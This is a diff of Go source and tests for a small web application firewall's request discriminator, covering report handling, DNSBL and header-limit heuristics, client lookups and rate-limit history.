if r.Method == http.MethodPost && r.URL.Path == ReportPath {
|
||||
h.takeReport(w, r)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
peer := peerAddress(r)
|
||||
|
||||
rq := h.startRequest(w, r, peer, peer, false)
|
||||
defer rq.finish()
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == HealthPath {
|
||||
rq.answerHealth()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
rq.answerAdmin()
|
||||
}
|
||||
|
||||
// takeReport answers POST ReportPath: it finishes the request the report
|
||||
// names, if it holds that request's decision, and ignores the report
|
||||
// otherwise.
|
||||
func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
|
||||
report, err := readReport(w, r)
|
||||
if err != nil {
|
||||
h.processLog.Warn("a report is refused", "error", err.Error())
|
||||
http.Error(w, "the body is not a report", http.StatusBadRequest)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
held, found := h.awaitingReport.Peek(report.RequestID)
|
||||
// Remove reports true to one report only, of several that name the id. A
|
||||
// question still being handled is held as nil.
|
||||
if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
|
||||
h.finishWith(r.Context(), held, report)
|
||||
}
|
||||
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
}
|
||||
|
||||
// readReport reads a report from r's body, which must be one JSON object with
|
||||
// all of Report's fields, in the ranges SPEC.md gives.
|
||||
func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
|
||||
var report Report
|
||||
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, reportBodyMaxBytes))
|
||||
if err != nil {
|
||||
return report, fmt.Errorf("read the body: %w", err)
|
||||
}
|
||||
|
||||
var fields map[string]json.RawMessage
|
||||
|
||||
err = json.Unmarshal(body, &fields)
|
||||
if err != nil {
|
||||
return report, fmt.Errorf("decode the body: %w", err)
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
"request_id", "status", "request_bytes", "response_bytes",
|
||||
"duration_total_ms", "duration_upstream_total_ms",
|
||||
} {
|
||||
value, there := fields[name]
|
||||
if !there || string(value) == "null" {
|
||||
return report, fmt.Errorf("%w: %s", errReportFieldMissing, name)
|
||||
}
|
||||
}
|
||||
|
||||
err = json.Unmarshal(body, &report)
|
||||
if err != nil {
|
||||
return report, fmt.Errorf("decode the body: %w", err)
|
||||
}
|
||||
|
||||
return report, report.checkRanges()
|
||||
}
|
||||
|
||||
// checkRanges returns an error for a value of the report that cannot be true.
|
||||
func (report *Report) checkRanges() error {
|
||||
switch {
|
||||
case report.Status != 0 &&
|
||||
(report.Status < http.StatusContinue || report.Status > maxHTTPStatus):
|
||||
return fmt.Errorf("%w: status", errReportValue)
|
||||
case report.RequestBytes < 0 || report.RequestBytes > maxReportedBytes:
|
||||
return fmt.Errorf("%w: request_bytes", errReportValue)
|
||||
case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
|
||||
return fmt.Errorf("%w: response_bytes", errReportValue)
|
||||
case report.DurationTotalMS < 0 || report.DurationTotalMS > maxReportedMilliseconds:
|
||||
return fmt.Errorf("%w: duration_total_ms", errReportValue)
|
||||
case report.DurationUpstreamTotalMS < 0 ||
|
||||
report.DurationUpstreamTotalMS > maxReportedMilliseconds:
|
||||
return fmt.Errorf("%w: duration_upstream_total_ms", errReportValue)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// finishWith finishes a request with what its report says, and writes the
|
||||
// request's last log line, which holds its decision's fields and the report's.
|
||||
// For an allowed request it first runs the heuristics of onReport, and adds the
|
||||
// request to its client's history, the anomaly counters and the metrics, with
|
||||
// the status and bytes the report gives. A denied request's counting was
|
||||
// finished at its decision. ctx is the report's own context.
|
||||
func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
|
||||
rq := &request{
|
||||
decision: *held,
|
||||
h: h,
|
||||
out: &responseWriter{status: report.Status, bytes: report.ResponseBytes},
|
||||
requestBytes: report.RequestBytes,
|
||||
}
|
||||
|
||||
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
|
||||
rq.line.Status = report.Status
|
||||
rq.line.RequestBytes = report.RequestBytes
|
||||
rq.line.ResponseBytes = report.ResponseBytes
|
||||
rq.line.DurationTotalMS = report.DurationTotalMS
|
||||
|
||||
if rq.allowed {
|
||||
rq.line.DurationUpstreamTotalMS = &report.DurationUpstreamTotalMS
|
||||
|
||||
rq.runBanningHeuristics(ctx, onReport())
|
||||
rq.countAnomalies()
|
||||
rq.addToHistory()
|
||||
|
||||
rq.h.metrics.RequestReported(&rq.line,
|
||||
time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
|
||||
time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
|
||||
}
|
||||
|
||||
rq.writeLine()
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,43 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// verdicts through the DNSBL checker.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||
// the request when SWW_REPUTATION_ACTION is deny. Being
|
||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||
// being log, it does nothing more. A zone without a verdict on the client is
|
||||
// asked about it in the background, and the request does not wait for the
|
||||
// answer. Its figure is the zones that list the client, their keys masked.
|
||||
type dnsbl struct{}
|
||||
|
||||
func (dnsbl) name() string { return "dnsbl" }
|
||||
|
||||
func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
|
||||
rq.dnsblListed = len(listedBy) > 0
|
||||
rq.noteListed(listedBy, "listed by a DNSBL zone")
|
||||
|
||||
for _, zone := range listedBy {
|
||||
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
|
||||
}
|
||||
|
||||
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"zones": listedBy},
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic header_limits. It reads no setting: its limits are fixed.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The header limits: the most cookies and header fields a request may have
|
||||
// when the checks reach the Core Rule Set. Real clients never reach them.
|
||||
const (
|
||||
maxCookies = 50
|
||||
maxHeaderFields = 100
|
||||
)
|
||||
|
||||
// headerLimits refuses a request over the header limits, with 431. Its figures
|
||||
// are the request's header fields and cookies, and the limit of each.
|
||||
type headerLimits struct{}
|
||||
|
||||
func (headerLimits) name() string { return "header_limits" }
|
||||
|
||||
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
fields, cookies := rq.headerCounts()
|
||||
if !overHeaderLimits(fields, cookies) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionRequestHeaderTooLarge,
|
||||
figures: map[string]any{
|
||||
"fields": fields, "fields_limit": maxHeaderFields,
|
||||
"cookies": cookies, "cookies_limit": maxCookies,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// overHeaderLimits reports whether a request with these counts of header fields
|
||||
// and cookies, as headerCounts counts them, is over the header limits: it has
|
||||
// more than maxHeaderFields fields or more than maxCookies cookies.
|
||||
func overHeaderLimits(fields, cookies int) bool {
|
||||
return fields > maxHeaderFields || cookies > maxCookies
|
||||
}
|
||||
|
||||
// headerCounts returns the request's header fields, each value of a header sent
|
||||
// twice being one, and its cookies, each part of a Cookie header between
|
||||
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
||||
// Rule Set runs each of its rules on each cookie, so that thousands of small
|
||||
// cookies keep it busy for over a second. It trims only spaces and control
|
||||
// characters, of which a header value can hold only tabs, so a part of Unicode
|
||||
// spaces is a cookie to it.
|
||||
func (rq *request) headerCounts() (int, int) {
|
||||
fields, cookies := 0, 0
|
||||
|
||||
for _, values := range rq.in.Header {
|
||||
fields += len(values)
|
||||
}
|
||||
|
||||
for _, value := range rq.in.Header.Values("Cookie") {
|
||||
for part := range strings.SplitSeq(value, ";") {
|
||||
if strings.Trim(part, " \t") != "" {
|
||||
cookies++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return fields, cookies
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With a limit of one request a minute, any request counted before
|
||||
// the last one would have it refused.
|
||||
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||
|
||||
const (
|
||||
healthChecks = 3
|
||||
contentType = "text/plain; charset=utf-8"
|
||||
)
|
||||
|
||||
for range healthChecks {
|
||||
got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
|
||||
http.StatusOK)
|
||||
|
||||
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
|
||||
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
|
||||
"with %q", got.body, got.header.Get("Content-Type"), contentType)
|
||||
}
|
||||
}
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
|
||||
if line.ResponseContentType != contentType {
|
||||
t.Errorf("health check's log line has response_content_type %q, "+
|
||||
"want %q", line.ResponseContentType, contentType)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,140 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// To add a heuristic, write one file with a type that implements heuristic,
|
||||
// and add one line for it to one of the lists below. Its settings go in
|
||||
// config.Config, and the comment at the top of its file names them.
|
||||
|
||||
// heuristic is one of the checks that decide what discriminator does with a
|
||||
// request.
|
||||
type heuristic interface {
|
||||
// name is the heuristic's name, which the log line gives.
|
||||
name() string
|
||||
// check looks at the request at now, and returns nil to let it through.
|
||||
// ctx is the request's own context.
|
||||
check(ctx context.Context, rq *request, now time.Time) *verdict
|
||||
}
|
||||
|
||||
// verdict is a heuristic refusing a request, or banning its client: the action
|
||||
// the log line names, one of requestlog's Action constants, and the figures the
|
||||
// heuristic acted on, by name, such as the count and the limit.
|
||||
type verdict struct {
|
||||
action string
|
||||
figures map[string]any
|
||||
}
|
||||
|
||||
// The names of the figures that more than one heuristic gives.
|
||||
const (
|
||||
figureWindow = "window"
|
||||
figureCount = "count"
|
||||
figureLimit = "limit"
|
||||
figureScore = "score"
|
||||
figureNetblock = "netblock"
|
||||
)
|
||||
|
||||
// The lists of heuristics, each in the order its heuristics run. A client in
|
||||
// SWW_ALLOW_NETS skips them all.
|
||||
|
||||
// beforeLookup are the heuristics that run before the client's AS number and
|
||||
// country are looked up, so that a client they refuse is not looked up.
|
||||
func beforeLookup() []heuristic {
|
||||
return []heuristic{
|
||||
tagLists{},
|
||||
routeWatchTags{},
|
||||
denyNets{},
|
||||
activeBan{},
|
||||
}
|
||||
}
|
||||
|
||||
// afterLookup are the heuristics that run once the lookup has been made.
|
||||
// tag_deny runs twice: before the rate limits, on the tags known by then, and
|
||||
// last, on the tag rule_files and core_rule_set can add.
|
||||
func afterLookup() []heuristic {
|
||||
return []heuristic{
|
||||
countries{},
|
||||
blocklists{},
|
||||
crowdSec{},
|
||||
dnsbl{},
|
||||
abuseIPDB{},
|
||||
tagDeny{},
|
||||
rateLimits{},
|
||||
trapPaths{},
|
||||
ruleFiles{},
|
||||
headerLimits{},
|
||||
coreRuleSet{},
|
||||
tagDeny{},
|
||||
}
|
||||
}
|
||||
|
||||
// afterAnswer are the heuristics that run on a request once discriminator has
|
||||
// answered it, before its decision line is written. They ban the client, and do
|
||||
// not change what the request got: their verdict's action is not used.
|
||||
func afterAnswer() []heuristic {
|
||||
return []heuristic{
|
||||
refusalLimit{},
|
||||
}
|
||||
}
|
||||
|
||||
// onReport are the heuristics that run on an allowed request when rproxy's
|
||||
// report of it comes, before its report line is written. Like afterAnswer, they
|
||||
// only ban.
|
||||
func onReport() []heuristic {
|
||||
return []heuristic{
|
||||
byteLimits{},
|
||||
}
|
||||
}
|
||||
|
||||
// runAfterAnswer runs the heuristics of afterAnswer on the request, at the time
|
||||
// it is called.
|
||||
func (rq *request) runAfterAnswer(ctx context.Context) {
|
||||
rq.runBanningHeuristics(ctx, afterAnswer())
|
||||
}
|
||||
|
||||
// runHeuristics runs list, beforeLookup or afterLookup, on the request at now,
|
||||
// and returns the first verdict, or nil when none gives one. The log line's
|
||||
// heuristic and heuristic_figures name the heuristic that gave it, and give its
|
||||
// figures. ctx is the request's own context.
|
||||
func (rq *request) runHeuristics(
|
||||
ctx context.Context, list []heuristic, now time.Time,
|
||||
) *verdict {
|
||||
name, v := rq.firstVerdict(ctx, list, now)
|
||||
if v != nil {
|
||||
rq.line.Heuristic = name
|
||||
rq.line.HeuristicFigures = v.figures
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
|
||||
// runBanningHeuristics runs list, afterAnswer or onReport, on the request at
|
||||
// the time it is called. The log line's after_answer_heuristic and
|
||||
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
|
||||
// give its figures, so that heuristic and heuristic_figures still name the one
|
||||
// that refused the request. ctx is the request's own context.
|
||||
func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
|
||||
name, v := rq.firstVerdict(ctx, list, rq.h.now())
|
||||
if v != nil {
|
||||
rq.line.AfterAnswerHeuristic = name
|
||||
rq.line.AfterAnswerHeuristicFigures = v.figures
|
||||
}
|
||||
}
|
||||
|
||||
// firstVerdict runs list on the request at now, in order, until a heuristic
|
||||
// gives a verdict, and returns that heuristic's name and its verdict, or "" and
|
||||
// nil when none gives one. ctx is the request's own context.
|
||||
func (rq *request) firstVerdict(
|
||||
ctx context.Context, list []heuristic, now time.Time,
|
||||
) (string, *verdict) {
|
||||
for _, each := range list {
|
||||
v := each.check(ctx, rq, now)
|
||||
if v != nil {
|
||||
return each.name(), v
|
||||
}
|
||||
}
|
||||
|
||||
return "", nil
|
||||
}
|
||||
@@ -1,145 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "2",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// Two let through, one over the limit, which bans the client, and one
|
||||
// refused under that ban, for which the client is not looked up. GeoJS
|
||||
// answers about the client at its first request, and its later ones
|
||||
// use that answer.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
clk.advance(time.Second)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
clk.advance(time.Second)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
want := ratelimit.History{
|
||||
FirstSeen: start,
|
||||
LastSeen: start.Add(2 * time.Second),
|
||||
ASN: asnDE,
|
||||
ASName: asNameDE,
|
||||
Country: "DE",
|
||||
LookedUp: start,
|
||||
Requests: 4,
|
||||
Forwarded: 2,
|
||||
Refused: 2,
|
||||
// The app answers with no body, sww with its status text.
|
||||
ResponseBytes: 2 * int64(len("Forbidden\n")),
|
||||
Responses: ratelimit.Responses{Status2xx: 2, Status4xx: 2},
|
||||
Offences: ratelimit.Offences{Limit: 1},
|
||||
}
|
||||
|
||||
got := historyOf(t, server, fromDE)
|
||||
if got != want {
|
||||
t.Errorf("history\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
|
||||
|
||||
// The third client drops the least recently seen, the first, with its
|
||||
// history.
|
||||
for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
|
||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
|
||||
if server.Limiter.Len() != 2 || held {
|
||||
t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
|
||||
"without it", server.Limiter.Len(), held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
_, _ = io.WriteString(w, "hello")
|
||||
})
|
||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
|
||||
|
||||
got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
|
||||
wantStatus(t, got, http.StatusOK)
|
||||
out.endedLine(t)
|
||||
|
||||
history := historyOf(t, server, localhost)
|
||||
if history.RequestBytes != 3 || history.ResponseBytes != 5 {
|
||||
t.Errorf("history counts %d bytes in and %d out, want 3 and 5",
|
||||
history.RequestBytes, history.ResponseBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
||||
|
||||
s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
|
||||
s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
|
||||
http.StatusUnauthorized)
|
||||
s.scrape()
|
||||
|
||||
if clients := server.Limiter.Snapshot(); len(clients) != 0 {
|
||||
t.Errorf("the table holds %+v, want no client", clients)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
|
||||
|
||||
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
|
||||
out.endedLine(t)
|
||||
|
||||
history := historyOf(t, server, localhost)
|
||||
if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
|
||||
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
|
||||
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
|
||||
}
|
||||
}
|
||||
|
||||
// historyOf returns the history of the client at addr.
|
||||
func historyOf(
|
||||
t *testing.T, server *discriminator.Server, addr string,
|
||||
) ratelimit.History {
|
||||
t.Helper()
|
||||
|
||||
client := netip.MustParsePrefix(addr + "/32")
|
||||
for _, c := range server.Limiter.Snapshot() {
|
||||
if c.Client == client {
|
||||
return c.History
|
||||
}
|
||||
}
|
||||
|
||||
t.Fatalf("%s is not in the table", client)
|
||||
|
||||
return ratelimit.History{}
|
||||
}
|
||||
@@ -1,109 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
)
|
||||
|
||||
// The headers in which an answer of allow gives rproxy the client's AS number
|
||||
// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
|
||||
// every header name in this form, as it sends it and as it receives it, so
|
||||
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
|
||||
const (
|
||||
asnHeader = "X-Client-Asn"
|
||||
countryHeader = "X-Client-Country"
|
||||
)
|
||||
|
||||
// lookUp looks up the client's AS number and country, in the lookup
|
||||
// database or through GeoJS, and notes them for the log line and as the
|
||||
// request's asn= and country= tags, unless
|
||||
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
|
||||
// link-local address, which no lookup can place. The lookup database
|
||||
// answers at once. With GeoJS, while a setting needs the answer, such as a
|
||||
// country list or a biased threshold, a new client's request waits for it,
|
||||
// unless refusedWhateverTheAnswer reports true. ctx is the request's own
|
||||
// context.
|
||||
func (rq *request) lookUp(ctx context.Context, now time.Time) {
|
||||
if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
|
||||
return
|
||||
}
|
||||
|
||||
client := rq.h.clientGroup(rq.client)
|
||||
|
||||
switch {
|
||||
case rq.h.config.LookupSource == "file":
|
||||
rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
|
||||
case rq.refusedWhateverTheAnswer(now):
|
||||
rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
|
||||
rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
|
||||
default:
|
||||
rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
|
||||
}
|
||||
|
||||
rq.lookedUp = true
|
||||
rq.line.ASN = rq.lookupAnswer.ASN
|
||||
rq.line.ASName = rq.lookupAnswer.ASName
|
||||
rq.line.Country = rq.lookupAnswer.Country
|
||||
|
||||
if tag := asnTag(rq.line.ASN); tag != "" {
|
||||
rq.addTag(tag)
|
||||
}
|
||||
|
||||
if tag := countryTag(rq.line.Country); tag != "" {
|
||||
rq.addTag(tag)
|
||||
}
|
||||
}
|
||||
|
||||
// asnTag returns the tag of asn, an AS number as the lookup gives it, such as
|
||||
// asn=64496 for AS64496, or "" for no AS number.
|
||||
func asnTag(asn string) string {
|
||||
if asn == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
return config.ASNTagPrefix + strings.TrimPrefix(asn, "AS")
|
||||
}
|
||||
|
||||
// countryTag returns the tag of country, a code as the lookup gives it, such
|
||||
// as country=DE for DE, or "" for no country.
|
||||
func countryTag(country string) string {
|
||||
if country == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
return config.CountryTagPrefix + country
|
||||
}
|
||||
|
||||
// addLookup adds answer, an answer about a client from the lookup
|
||||
// database or GeoJS, to the client's history, and to the notes of the bans
|
||||
// on its netblock that have no AS number, AS name or country yet.
|
||||
func (h *handler) addLookup(answer lookup.Answer) {
|
||||
h.limiter.AddLookup(answer.Client, answer.Answered,
|
||||
answer.ASN, answer.ASName, answer.Country)
|
||||
h.ledger.AddLookup(h.netblock(answer.Client.Addr()),
|
||||
answer.ASN, answer.ASName, answer.Country)
|
||||
}
|
||||
|
||||
// setLookupHeaders sets the headers that give the client's AS number and
|
||||
// country, leaving out one that is unknown.
|
||||
func setLookupHeaders(header http.Header, asn, country string) {
|
||||
if asn != "" {
|
||||
header.Set(asnHeader, asn)
|
||||
}
|
||||
|
||||
if country != "" {
|
||||
header.Set(countryHeader, country)
|
||||
}
|
||||
}
|
||||
|
||||
// canBePlaced reports whether a lookup can place addr: private, loopback
|
||||
// and link-local addresses have no AS number or country.
|
||||
func canBePlaced(addr netip.Addr) bool {
|
||||
return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
|
||||
}
|
||||
@@ -1,443 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sync"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// asnAndCountry is what a lookup gives a client: its AS number, AS name
|
||||
// and country.
|
||||
type asnAndCountry struct{ asn, asName, country string }
|
||||
|
||||
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
|
||||
// lookup database.
|
||||
const fileSource = "file"
|
||||
|
||||
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The stand-in for GeoJS answers only once released. A request that
|
||||
// waited for it would wait an hour, and get no answer within
|
||||
// waitLimit.
|
||||
geojsURL, asked, release := startHeldGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
lookupTimeout: "1h",
|
||||
rateLimitPerMinute: "1",
|
||||
})
|
||||
|
||||
// fromDE's second request breaks the limit and bans it, and fromKP
|
||||
// comes too. None waits for GeoJS.
|
||||
for _, line := range []logLine{
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited),
|
||||
s.get(fromKP, http.StatusOK, requestlog.ActionForward),
|
||||
} {
|
||||
got := asnAndCountry{line.ASN, line.ASName, line.Country}
|
||||
if got != (asnAndCountry{}) {
|
||||
t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Once GeoJS answers, each answer reaches the client's history, and
|
||||
// fromDE's reaches the notes of its ban.
|
||||
release()
|
||||
|
||||
netblock := netip.MustParsePrefix(fromDE + "/32")
|
||||
|
||||
waitUntil(func() bool {
|
||||
return historyOf(t, server, fromDE).ASN != "" &&
|
||||
historyOf(t, server, fromKP).ASN != "" &&
|
||||
server.Ledger.Bans(netblock)[0].Notes.ASN != ""
|
||||
})
|
||||
|
||||
de := asnAndCountry{asnDE, asNameDE, "DE"}
|
||||
|
||||
for addr, want := range map[string]asnAndCountry{
|
||||
fromDE: de, fromKP: {asnKP, asNameKP, "KP"},
|
||||
} {
|
||||
h := historyOf(t, server, addr)
|
||||
if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want {
|
||||
t.Errorf("%s's history has %+v, want %+v", addr, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
notes := server.Ledger.Bans(netblock)[0].Notes
|
||||
if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
|
||||
t.Errorf("the ban's notes have %+v, want %+v", got, de)
|
||||
}
|
||||
|
||||
// GeoJS was asked about each client once, fromKP after fromDE, whose
|
||||
// request was under way when fromKP came.
|
||||
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
|
||||
t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The country list has a new client's request wait for its answer,
|
||||
// which the stand-in for GeoJS gives only once released.
|
||||
geojsURL, asked, release := startHeldGeoJS(t)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
|
||||
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||
map[string]string{
|
||||
trustedProxies: trustLocalhost,
|
||||
lookupTimeout: "1h",
|
||||
tagDeny: denyKP,
|
||||
})
|
||||
|
||||
requestFromDE := func() *http.Request {
|
||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||
req.Header.Set(forwardedFor, fromDE)
|
||||
|
||||
return req
|
||||
}
|
||||
|
||||
// fromDE's first request arrives two seconds before a minute ends,
|
||||
// and waits for GeoJS.
|
||||
first, httpClient := requestFromDE(), newClient(t)
|
||||
firstEnded := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
res, err := httpClient.Do(first)
|
||||
if err == nil {
|
||||
err = readAnswer(res).err
|
||||
}
|
||||
|
||||
firstEnded <- err
|
||||
}()
|
||||
|
||||
waitUntil(func() bool { return len(asked()) == 1 })
|
||||
|
||||
// Half a second into the next minute, the answer is kept, as an edit
|
||||
// of lookups.json would keep it, while the first request still waits
|
||||
// for GeoJS. The second request goes on at once, and is counted.
|
||||
clk.advance(2500 * time.Millisecond)
|
||||
server.GeoJS.Load([]lookup.Answer{{
|
||||
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
|
||||
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
|
||||
}})
|
||||
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
|
||||
|
||||
// GeoJS answers, and the first request goes on.
|
||||
